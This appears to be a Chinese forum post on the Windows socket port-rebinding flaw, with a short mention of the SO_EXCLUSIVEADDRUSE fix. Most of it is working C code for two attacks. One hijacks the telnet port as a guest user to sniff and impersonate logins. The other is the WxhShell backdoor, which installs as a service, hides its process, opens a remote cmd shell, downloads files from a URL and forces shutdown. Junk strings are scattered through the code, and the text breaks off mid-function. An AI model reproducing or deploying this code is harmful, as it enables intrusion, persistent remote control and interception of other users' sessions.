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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =>evkaj s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3RvDX p +TaxH; saddr.sin_family = AF_INET; Qo^(r$BD Q3^h saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2QAP$f0Ln r%iFsV_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BKb#\(95* mf{M-(6' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N|>JLZ> qz3
Z'
这意味着什么?意味着可以进行如下的攻击: ,c?(
|tF UA2KY}pz5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q165S "M /Cl|z
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8-k`"QI= Xy!NBh7I 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $0 vT_ -Q
JP J. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 uPr!;'J= pmWy:0 R 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |#<z\u } |W=-/~X 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w%iwxo }79jyS-e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %D:VcY9OC D|m3.si #include L97 ~ma #include "-X8 #include FJCORa@?_ #include _6r[msH" DWORD WINAPI ClientThread(LPVOID lpParam); vazA@|^8 int main() `O0Qtq. { =SeQ- H# WORD wVersionRequested; O< /b]<[ DWORD ret; rXMc0SPk WSADATA wsaData; N wNxO BOOL val; S (xs;tZ SOCKADDR_IN saddr; ]a&riPh" SOCKADDR_IN scaddr; fjy\Q int err; 7.ein:M|CB SOCKET s; )uo".n|n~B SOCKET sc; U!c+i#:t int caddsize; 7 L,`7k| HANDLE mt; JeNX5bXW DWORD tid; 0uW)&>W wVersionRequested = MAKEWORD( 2, 2 ); G/#<d-}_ err = WSAStartup( wVersionRequested, &wsaData ); Al8Dw)uG{ if ( err != 0 ) { a.gMH
uL printf("error!WSAStartup failed!\n"); ocK4Nxs return -1; JU5,\3Lz# } @%L saddr.sin_family = AF_INET; cl]W]^q-Cx aZ\Z7( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8N9,HNBT$ p=> +3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SC4jKm2 saddr.sin_port = htons(23); VBDb K| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7_qsVhh]$E { ',WJ'g printf("error!socket failed!\n"); CL7/J[TS return -1; u1u;aG } m,q)lbRl val = TRUE; I{U|'a //SO_REUSEADDR选项就是可以实现端口重绑定的 w_@{v wM$A if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ax~
i` { -UzWLVB^ printf("error!setsockopt failed!\n"); N: 38N return -1; K8BlEF` } n[K%Xs) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F-ofR]|)> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 is^R8a //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C Q iHk v*JKLA if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r1RM7y { C\BKdx5; ret=GetLastError(); h,BPf5\S printf("error!bind failed!\n"); G,Eh8HboK return -1; mr#.uhd.z } g +gcH listen(s,2); S["r
@< while(1) /`aPV"$M { L1Yj9i caddsize = sizeof(scaddr); lnjs{`^ //接受连接请求 eS
?9}TG| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (]I=';\ if(sc!=INVALID_SOCKET) u R5h0Fi { }u0&> k|y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1)ij*L8k if(mt==NULL) qyKR]%yzi { 06.8m;{N printf("Thread Creat Failed!\n"); 55<!H-zt break; Th\T$T`X$ } _G<Wq`0w) } `uusUw-Gf CloseHandle(mt); 5pY|RV6: } '3Fb[md54 closesocket(s); p^ROt'eQ< WSACleanup(); xmC5uT6L3M return 0; Zn)o@'{}{ } a"g\f{v0AR DWORD WINAPI ClientThread(LPVOID lpParam) 7AGUi+!ICl { Qu8=zI>t SOCKET ss = (SOCKET)lpParam; ttlMZLX{TJ SOCKET sc; 2dJE`XL unsigned char buf[4096]; kqo4
v;r SOCKADDR_IN saddr; HP<a'| r long num; OR|Jc+LT DWORD val; FoZI0p?L)9 DWORD ret; c`lL&*] //如果是隐藏端口应用的话,可以在此处加一些判断 }>621L3 - //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 sVmqx^- saddr.sin_family = AF_INET; TEj"G7]1$A saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5t_Dt<lIz saddr.sin_port = htons(23); ta x:9j|~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !>Q\Y`a,* { ~Ij/vyB_ printf("error!socket failed!\n"); (47la$CR return -1; 8o
$` ' } Tl]yl$ val = 100; rqm":N8@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G6x'Myg I { tk8\,!9Q ret = GetLastError(); :1gpbfW return -1; #RSUChe7w } ? `kZ 6$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vl<7> { ]EQ*! ret = GetLastError(); S-7 C'dc return -1;
\ Gi oSg } i?eVi if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2 1+[9 { T;PLUjp} printf("error!socket connect failed!\n"); e$`hRZ%
closesocket(sc); Y!Io @{f closesocket(ss); `@0AGSzUv return -1; ^1_[UG } fuF{8-ua while(1) [io|qLr}\ { a=9QwEZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 44YKS>Cq //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]P>XXE;[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !3DY# num = recv(ss,buf,4096,0); <nN# K{AH if(num>0) *_}0vd send(sc,buf,num,0); =1
S%E else if(num==0) PQh s^D break; )24M?R@r num = recv(sc,buf,4096,0); =2} kiLKO if(num>0) tB(~:"|8 send(ss,buf,num,0); &" J; else if(num==0) /Ah&d@b break; SN\c2^# } SZR`uS closesocket(ss); qn |~YXn closesocket(sc); ja&m-CFK return 0 ; 5nsoWqnE8 } %so{'rQl 27$,D XD a1_ o ========================================================== U)aftH
*Pk Q[|*P ] w 下边附上一个代码,,WXhSHELL ~gNFcJuy s2 :Vm\ ========================================================== MPw?HpM ~mi4V #include "stdafx.h" 3Z&!zSK^ y%kZ## #include <stdio.h>
@';.$ #include <string.h> M:iH7K #include <windows.h> wp>
z04
#include <winsock2.h> ,_,*I/o>B #include <winsvc.h> YgS,5::SU #include <urlmon.h> 1)zXv 4i+%~X@p #pragma comment (lib, "Ws2_32.lib") 0'YP9-C3 #pragma comment (lib, "urlmon.lib") W}MN-0 BNI)y@E^X #define MAX_USER 100 // 最大客户端连接数 ,wBfGpVb #define BUF_SOCK 200 // sock buffer dh&>E #define KEY_BUFF 255 // 输入 buffer &oy')\H PB8g4-?p6 #define REBOOT 0 // 重启 ylQj2B,CB #define SHUTDOWN 1 // 关机 $&KkZ k6RVP:V #define DEF_PORT 5000 // 监听端口 n9`]}bnX D3P/: 4 #define REG_LEN 16 // 注册表键长度 R<{Vgy #define SVC_LEN 80 // NT服务名长度 !@N?0@$/ %%>nM'4< // 从dll定义API BOq9\g`5s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VY+P c/b typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `ZI -1&Y3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]t`SCsoo typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); : T7(sf*!* rKyulgP // wxhshell配置信息 L
G5_\sY! struct WSCFG { hh*('n>[ int ws_port; // 监听端口 2l^_OrE! char ws_passstr[REG_LEN]; // 口令 kV4Oq.E int ws_autoins; // 安装标记, 1=yes 0=no +`g&hO\W char ws_regname[REG_LEN]; // 注册表键名 7Zdg314 char ws_svcname[REG_LEN]; // 服务名 P*~
vWYH9 char ws_svcdisp[SVC_LEN]; // 服务显示名 }f?[m&< char ws_svcdesc[SVC_LEN]; // 服务描述信息 nw%`CnzT char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [(5.? int ws_downexe; // 下载执行标记, 1=yes 0=no +{V`{' char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" -GHd]7n char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #RaqNu Y|Gp\
}; _N^w5EBC] jlU6keZh` // default Wxhshell configuration DF4CB# struct WSCFG wscfg={DEF_PORT, ^7YNM<_%@ "xuhuanlingzhe", kROIVO1|` 1, 5rdB>8W
"Wxhshell", 7*KUM6z "Wxhshell", -D'XxOI "WxhShell Service", {tY1$}R "Wrsky Windows CmdShell Service", X~D[CwA|` "Please Input Your Password: ", t&J A1|q 1, jHn7H)F8 " http://www.wrsky.com/wxhshell.exe", -n"wXOx3 "Wxhshell.exe" /o 'lGvw }; 'xxM0Kn` H${L F.8 // 消息定义模块 Mh5>
hD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rk3
bZvj3 char *msg_ws_prompt="\n\r? for help\n\r#>"; /]!2k9u\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; igk<]AwxS char *msg_ws_ext="\n\rExit."; C)EP;5k'!\ char *msg_ws_end="\n\rQuit."; M>p<1`t-& char *msg_ws_boot="\n\rReboot..."; $Vq5U9- char *msg_ws_poff="\n\rShutdown..."; xn503,5G*7 char *msg_ws_down="\n\rSave to "; prz COw :ZIa char *msg_ws_err="\n\rErr!"; pa+'0Y]71 char *msg_ws_ok="\n\rOK!"; bHv"! ?{B5gaU9F char ExeFile[MAX_PATH]; "YgpgW int nUser = 0; kodd7 AD HANDLE handles[MAX_USER]; nk%v|ZxoFv int OsIsNt; k)S1Z s~G 0
h!Du|? SERVICE_STATUS serviceStatus; L#byYB;E{ SERVICE_STATUS_HANDLE hServiceStatusHandle;
v>B412l __.MS6"N // 函数声明 A`f"<W-m int Install(void); 8TeOh1\ int Uninstall(void); ,mp<<%{u int DownloadFile(char *sURL, SOCKET wsh); /[FDiJH2 int Boot(int flag); }" vxYB!h3 void HideProc(void); Qa )+Tv int GetOsVer(void); ge
GhM>G int Wxhshell(SOCKET wsl); [=q/f2_1. void TalkWithClient(void *cs); =N\; ?eF( int CmdShell(SOCKET sock); j0; ~2W#G* int StartFromService(void); :1j8!R5 int StartWxhshell(LPSTR lpCmdLine); Si?s69 /#M1J:SV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Lxv 4w VOID WINAPI NTServiceHandler( DWORD fdwControl ); U\?D;ABQ% HC6U_d1-6 // 数据结构和表定义 C:t>u.. SERVICE_TABLE_ENTRY DispatchTable[] = #[{{&sN { EpMxq7* {wscfg.ws_svcname, NTServiceMain}, rBTg"^jsw {NULL, NULL} X_o#! }; =IsmPQKi rtJER?A // 自我安装 K_)~&Cu*' int Install(void)
^rVHaI { [:cD char svExeFile[MAX_PATH]; M8X6!"B$Y HKEY key; {f#QZS!E strcpy(svExeFile,ExeFile); I$t8Ko._" 5+M,X kg // 如果是win9x系统,修改注册表设为自启动 `5?0yXK if(!OsIsNt) { `z(o01y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }h45j84) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <WZ{<'ajI RegCloseKey(key); ?Te#lp;`~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8Re[]bE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /GO- RegCloseKey(key); <@;}q^` return 0;
|gO7`F2 } T(?w}i } k;+TN9 } h8`On/Ur_8 else { l&+O*=#Hh A[+)PkR // 如果是NT以上系统,安装为系统服务 r{R<J?Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); );d 07\V if (schSCManager!=0) j9>[^t3U { w{*kbGB8s7 SC_HANDLE schService = CreateService KSchgon0V ( qKfUm:7Q_ schSCManager, eavn.I8J wscfg.ws_svcname, :6nD "5( wscfg.ws_svcdisp, qhGz2<}_j SERVICE_ALL_ACCESS, _HHvL= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #kM|!U= SERVICE_AUTO_START, 6T$=(I <4 SERVICE_ERROR_NORMAL, ,yltt+e svExeFile, +fXwbZ?p NULL, f-|?He4O] NULL, KBB)xez8 NULL, 4)w,gp NULL, Z|n|gxe NULL {O2=K#J ); +s}&'V^ if (schService!=0) E,6|-V;? { $M)i]ekm CloseServiceHandle(schService);
U=~?ca CloseServiceHandle(schSCManager); &6vaLx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [WR"#y strcat(svExeFile,wscfg.ws_svcname); toPbFU' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7?whxi Qs RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -4Hb]#*2 RegCloseKey(key); Q0R05* return 0; MWv@]P_0p! } a
-Pz<* } -13}]Gls7Q CloseServiceHandle(schSCManager); 9-T<gYl } )\Q(=: } Pb'(Y 'z8FU~oU return 1; t,fec>. } uM`i!7} dBd7#V:}yV // 自我卸载 )ovAG O int Uninstall(void) RlL]p`g { l'(FM^8jv HKEY key; ~6i'V?> VEh9N if(!OsIsNt) { F9o7=5WAb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { / rc[HbNg. RegDeleteValue(key,wscfg.ws_regname); }dzdx " RegCloseKey(key); /*y5W-'d^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fG'~@'P~ RegDeleteValue(key,wscfg.ws_regname); ^ 0YQlT98 RegCloseKey(key); L=#NUNiXr return 0; zfKO)Itd } P$U"y/ } H\QkU`b } Qz[^J else { /Ot3[B @G2# Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;-VZV p}Y if (schSCManager!=0) r"2lcNE { .m]}Ba}J$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pZ>yBY?R8> if (schService!=0) [o<hQ`& { BFW b0;+ if(DeleteService(schService)!=0) {
%!nI]| CloseServiceHandle(schService); s0' haU CloseServiceHandle(schSCManager); @[J6JT*E return 0; *,Bm:F<m } CnB[ImMs(A CloseServiceHandle(schService); j<~Wp$\i7> } 3FR(gr$X CloseServiceHandle(schSCManager); Eto"B" } )oCL![^pXe } Ts
!g=F +4%~.,<_to return 1; Cy?]o?_? } !s-A`}
s+ tG$O[f@U6 // 从指定url下载文件 ,RR{Y- int DownloadFile(char *sURL, SOCKET wsh) p*c(dkOe8 { by>%}#M HRESULT hr; &AJ bx char seps[]= "/"; Y|LL]@Lv char *token; `6VnL) char *file; O z0-cM8t char myURL[MAX_PATH]; 3tf_\E+mIi char myFILE[MAX_PATH]; ^!S4?<v B9NUafK= strcpy(myURL,sURL); X6
BIZ token=strtok(myURL,seps); IRQtA
Z V$ while(token!=NULL) i) e6U(H { FXBmatBck file=token; U6/7EOW, token=strtok(NULL,seps); Jt5V{9:(' } <=n;5hv: bpBn3f`?* GetCurrentDirectory(MAX_PATH,myFILE); Z (6.e8fK strcat(myFILE, "\\"); tAN!LI+w strcat(myFILE, file); c]Epg)E send(wsh,myFILE,strlen(myFILE),0); 9$$ Ijf send(wsh,"...",3,0); F)cCaE; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^}~Q(ji7 if(hr==S_OK) W5Z-s.o return 0; n'mrLZw else SEI0G_wk$ return 1; fsjLD|?|: i[KXkjr } 9 wR D=a z|3v~, // 系统电源模块 @]n8*n int Boot(int flag) S} UYkns* { 1!^BcrG. HANDLE hToken;
#tKks:eL TOKEN_PRIVILEGES tkp; n3$=& Q$U.vF7BnP if(OsIsNt) { }BM`4/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VvW4!1Dl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \YzKEYx+ tkp.PrivilegeCount = 1; qR
cSB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HjK8y@j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (5jKUQ8Q> if(flag==REBOOT) { 5b"=m9{g if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mrk3r/
8w return 0; [l^XqD D4 } UUfM7gq else { 4|_xz;i if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :? B4q#]N return 0; *N$XQ{o } CCG5:xS } fh`Y2s|:7R else { Mk#r_:[BS if(flag==REBOOT) { Mi.2
> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "}_J"% return 0; 5b rM.. } Kc[^Pu else { OF<:BaRs/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d"n>Q Tn\ return 0; PV,Z@qm@^ } 0E#??gN } BaIpX<$T nq?+b >// return 1; !y_L~81? } fwt+$`n uH$hMg // win9x进程隐藏模块 gWHY7rv void HideProc(void) =T3{!\tH { (QIU 3EN 4OM
]8I! HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 10zM8<bl if ( hKernel != NULL ) x3Cn:F { 8*8Y\" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &c-V
QP( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vVtkB$]L FreeLibrary(hKernel); WrwbLl E } mIf)=RW BsXF'x<U* return; P4"BX*x } ij]~n 9HR1m3 // 获取操作系统版本 ;s,1/ kA int GetOsVer(void) HAE$Np|>a { 0>j0L8#^p OSVERSIONINFO winfo; ds(X[7XGW
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LiHJm- GetVersionEx(&winfo); Mm8_EjMp if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qDGx(d return 1; _lI(!tj( else 8Q/cJ+& return 0; 4?@5JpC9VA } $o+@}B0) g&/lyQ+G // 客户端句柄模块 "n3n-Y#' int Wxhshell(SOCKET wsl) #vK99S2 { EIzTbW{p SOCKET wsh; e?(4lD)d struct sockaddr_in client; ^Vth;!o DWORD myID; Z .`+IN(>E Yw=@*CK' while(nUser<MAX_USER) i8Be%y%y { A*qR<cp[ int nSize=sizeof(client); `vt+VUNf
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YH^U"\}i if(wsh==INVALID_SOCKET) return 1; ^Mm%`B7W _Rjbm'kC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9ox5,7ZQ if(handles[nUser]==0) S9:ij1 closesocket(wsh); y46sL~HRv else "?aE3$/ nUser++; W{JR%Sq$ } $n8&5< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .vmCKZ @QJPcF" return 0; i`9}">7v~ } &gV9h>Kc# 0@'-g^PS // 关闭 socket 0p3) t void CloseIt(SOCKET wsh) 0RdW.rZJ { hT=E~|O closesocket(wsh); O:V.;q2]U nUser--;
*W | ExitThread(0); Q.4+"JoG } {3os9r, l66 QgPA // 客户端请求句柄 4t*VI<=<[ void TalkWithClient(void *cs) w'i+WEU>l { BThrv$D} #m7evb5eg* SOCKET wsh=(SOCKET)cs; MYJDfI char pwd[SVC_LEN]; KxmB$x5-=8 char cmd[KEY_BUFF]; l;z+E_sQ char chr[1]; )@B! int i,j;
CU\r
I !x-9A while (nUser < MAX_USER) { @(/$;I, Ei,dO;& if(wscfg.ws_passstr) { =*(_sW6; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N^`S'FVA //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
e'|P^G>g //ZeroMemory(pwd,KEY_BUFF); FzsW^u+ i=0; _B4N2t$ while(i<SVC_LEN) { A{{rNbCK Z~
q="CA4 // 设置超时 0n{+_
fd_set FdRead; =v !8i struct timeval TimeOut; '&AeOn FD_ZERO(&FdRead); V-%jSe< FD_SET(wsh,&FdRead); o9D#d\G TimeOut.tv_sec=8; nm|"9|/
TimeOut.tv_usec=0; OlW5k`B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5?#AS#TD' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M1DV 9~S 4GJx1O0Ol if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <aMihT)dd pwd =chr[0]; yaC_r-%U& if(chr[0]==0xd || chr[0]==0xa) { ->'q pwd=0; '}Jq(ah( break; ;M#D*<ucI: } noWwX i++; gU@.IOg } >tkU+$;- a,t]> z95 // 如果是非法用户,关闭 socket t(^Lh.<a if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zW95qxXg } QUdF`_U7 u"q!p5P%q send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qz A)HDQ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f,+ONV]5Tt (aq^\#9btO while(1) { XKBQH( fJ-8$w\uL ZeroMemory(cmd,KEY_BUFF); scEE$: 6~Zq // 自动支持客户端 telnet标准 y5V]uQSD j=0; oH
[-fF while(j<KEY_BUFF) { g;nPF*( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lgCOp%> cmd[j]=chr[0]; OB+I.qlHP if(chr[0]==0xa || chr[0]==0xd) { sgeME^ v cmd[j]=0; @aoHz8K break; Q0_|?]v } {<^PYN>` j++; '6>nXp?)r } 4d]T` J}&xS< // 下载文件 8+~|!)a if(strstr(cmd,"http://")) { ZnB|vfL? send(wsh,msg_ws_down,strlen(msg_ws_down),0); x6~`{N1N
M if(DownloadFile(cmd,wsh)) / ='/R7~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); z:tu_5w!, else k@C]~1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gl6 *bB= } Y4/ !b else { ?37Kc,o r`=!4vY2 switch(cmd[0]) { z9*7fT JMYM}G // 帮助 cM+s)4TPL case '?': { cW, 6MAQo send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R$40cW3` break;
^pZ\: } =kWm9W<^ // 安装 <j89HtCz case 'i': { !*|`-woE if(Install()) !TuMrA* send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Df)wNN1 else 3Q(#2tL= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rsvGf7C break; !~aDmY2 } WAbt8{$D // 卸载 7b[vZNi_ case 'r': { }q@Jh* if(Uninstall()) ,`< [ej send(wsh,msg_ws_err,strlen(msg_ws_err),0); K1Wiiw else >sE{c>R% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )0Lv-Gs break; oBTRO0.s+ } ul3._Q // 显示 wxhshell 所在路径 h3Z0NJ=xM case 'p': { Ke+#ww char svExeFile[MAX_PATH]; \lpR+zaF strcpy(svExeFile,"\n\r"); N)Z,/w9 strcat(svExeFile,ExeFile); U ()36 send(wsh,svExeFile,strlen(svExeFile),0); 8U>f/dxLOO break; $q;dsW,8 }
t@EHhiBz // 重启 k
GzosUt case 'b': { lGr(GHn send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Doy7prKI8 if(Boot(REBOOT)) Obu>xK( send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0dgp< else { g"sW_y_O closesocket(wsh); 3 aG?^z ExitThread(0); g&V1<n\b+ } <}$o=>' break; 8wqHr@}p } sP5\R# // 关机 QGnBNsA h case 'd': { q.>{d%? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pTlNJ!U> if(Boot(SHUTDOWN)) 9n"D/NZB send(wsh,msg_ws_err,strlen(msg_ws_err),0); `PR)7}/< else { r9uuVxBD closesocket(wsh); z@3t>k|K ExitThread(0); />zE$)'M } a:tCdnK/ break; 7a}vb@ } lclSzC9 // 获取shell /"$;3n~ case 's': { s`G3SE CmdShell(wsh); KfsU RTZ closesocket(wsh); Ojf.D6nY ExitThread(0); ^?H3:CS break; |%R}!O<.c } ZVj/lOP X // 退出 0XBv8fg case 'x': { Rj9YAW$ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A~6:eappH CloseIt(wsh); %P2GQS-N break;
wBUn*L } r-s.i+\ // 离开 ?E0j)P/
( case 'q': { Mg0[PbS send(wsh,msg_ws_end,strlen(msg_ws_end),0); ch}t++`l] closesocket(wsh); Kuz
/ WSACleanup(); :!\?yj{{ exit(1); 4jlUyAD break; Vs)Pg\B? } #?Z>o16,u } rn7eY } tN=B9bm3j R(sPU>`MX // 提示信息 ?6F\cl0. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7Rf${Wv0 } W4Ey]y" } wtCz%!OYB P"LbWZ6Nj return; 6;g"`l51 } %(IkUD 9"3 7va // shell模块句柄 K"O+`2$ int CmdShell(SOCKET sock) OsMU>v }m { gUs.D_* STARTUPINFO si; 0?KY9 ZeroMemory(&si,sizeof(si)); T\VKNEBo si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xG JX~) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tO$/|B74Bz PROCESS_INFORMATION ProcessInfo; h|tdK;) char cmdline[]="cmd"; F(J6 XnQ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }]ak6'|[ return 0; O9#8%p%
) } _s/5oRHA v&p|9C@ // 自身启动模式 HrH-e=j int StartFromService(void) `;yfSoY { ;N4A9/) typedef struct Wp"+\{@) { Z6eM~$Y DWORD ExitStatus; "&s9;_9 DWORD PebBaseAddress; nCZ&FNi{O~ DWORD AffinityMask; 5G"DgG*< DWORD BasePriority; u:Fa1 !4JR ULONG UniqueProcessId; 2 5DXJb^: ULONG InheritedFromUniqueProcessId; iYi3x_A` } PROCESS_BASIC_INFORMATION; wJs#rkW 7{%_6b" PROCNTQSIP NtQueryInformationProcess; 8X,dVX5LT !e5!8z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PT7-_r static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *w>dT E-Nc|A HANDLE hProcess; Cku#[?G PROCESS_BASIC_INFORMATION pbi; tA2Py fk5xIW HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1 PL2[_2: if(NULL == hInst ) return 0; w\o?p.drp= )YE3n-~7{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P;7JK=~k g_pGetModuleBaseName = 